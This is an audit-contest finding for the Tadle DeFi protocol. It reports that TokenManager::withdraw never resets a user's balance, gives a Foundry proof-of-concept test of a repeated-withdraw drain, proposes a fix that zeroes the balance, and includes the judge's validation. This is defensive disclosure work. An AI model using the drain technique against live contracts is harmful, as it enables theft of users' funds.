Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

[H-1] The function `TokenManager::withdraw` does not update internal accounting, allowing any user with balance to drain all the funds in the protocol

philbugcatcher

Summary

The TokenManager::withdraw function contains a critical vulnerability that allows users to repeatedly withdraw funds without updating their balance. This oversight allows any user with a positive balance to drain all funds in the protocol by repeatedly calling the withdraw function.

Vulnerability Details

The TokenManager::withdraw function is designed to allow users to withdraw their balances from the protocol. The function reads the user’s balance from the internal accounting mapping and sends the corresponding amount to the user. However, it fails to update the user’s balance after the withdrawal, enabling users to withdraw their balance multiple times.

The issue arises because the function does not set the user’s balance to zero or otherwise reduce it after a withdrawal. This enables an attacker to:

  1. Call the withdraw function to withdraw their balance.

  2. Call the withdraw function again, as their balance remains unchanged, allowing them to withdraw the same amount repeatedly.

  3. Continue this process until the protocol’s funds are completely drained.

Impact

This vulnerability allows any user with a positive balance to repeatedly withdraw funds from the protocol without limit, leading to the complete depletion of the protocol’s funds. The issue can result in the total loss of funds for all users of the protocol.

The following test case, which can be included in TokenManager.t.sol, demonstrates the exploit:

Proof Of Code
function testInfiniteWithdraw() public {
address maker = vm.addr(777); // user created to add funds to the protocol
address thief = vm.addr(778); // user created to simulate the exploit (thief)
address buyer = vm.addr(779); // user created to add balance to the thief
​
// setup of the exploit demonstration
uint256 STARTING_BALANCE = 100e18;
uint256 POINTS_AMOUNT = 1_000;
uint256 TOKEN_AMOUNT = 1e18;
uint256 COLLATERAL_RATE = 12_000;
uint256 EACH_TRADE_TAX = 1_000;
​
deal(address(mockUSDCToken), maker, STARTING_BALANCE);
deal(address(mockUSDCToken), thief, STARTING_BALANCE);
deal(address(mockUSDCToken), buyer, STARTING_BALANCE);
​
vm.prank(maker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(thief);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(buyer);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
vm.prank(address(capitalPool));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
// creation of an offer so that there is funds in the protocol
vm.prank(maker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
POINTS_AMOUNT,
TOKEN_AMOUNT,
COLLATERAL_RATE,
EACH_TRADE_TAX,
OfferType.Ask,
OfferSettleType.Protected
)
);
​
// creation of an offer by the thief
vm.prank(thief);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
POINTS_AMOUNT,
TOKEN_AMOUNT,
COLLATERAL_RATE,
EACH_TRADE_TAX,
OfferType.Ask,
OfferSettleType.Protected
)
);
​
address offer1Addr = GenerateAddress.generateOfferAddress(1);
​
// thief offer is bought, adding balance to their account
vm.prank(buyer);
preMarktes.createTaker(offer1Addr, POINTS_AMOUNT);
​
// thief withdraws once
vm.prank(thief);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
​
uint256 thiefBalanceAfterFirstWithdraw = mockUSDCToken.balanceOf(thief);
​
// thief is able to withdraw again since the accounting is not updated
vm.prank(thief);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
​
uint256 thiefBalanceAfterSecondWithdraw = mockUSDCToken.balanceOf(
thief
);
​
// thief could continue to withdraw until wiping out the protocols funds
​
assert(
thiefBalanceAfterSecondWithdraw > thiefBalanceAfterFirstWithdraw
);
}

Tools Used

Manual code review.

Recommendations

To address this vulnerability, the TokenManager::withdraw function must update the user’s balance after a withdrawal is made. The following code modification ensures that the balance is properly adjusted:

Code Review
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
if (claimAbleAmount == 0) {
return;
}
​
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
+
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
​
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
​
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

This change ensures that users cannot withdraw more than their actual balance, preventing them from draining the protocol’s funds.

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.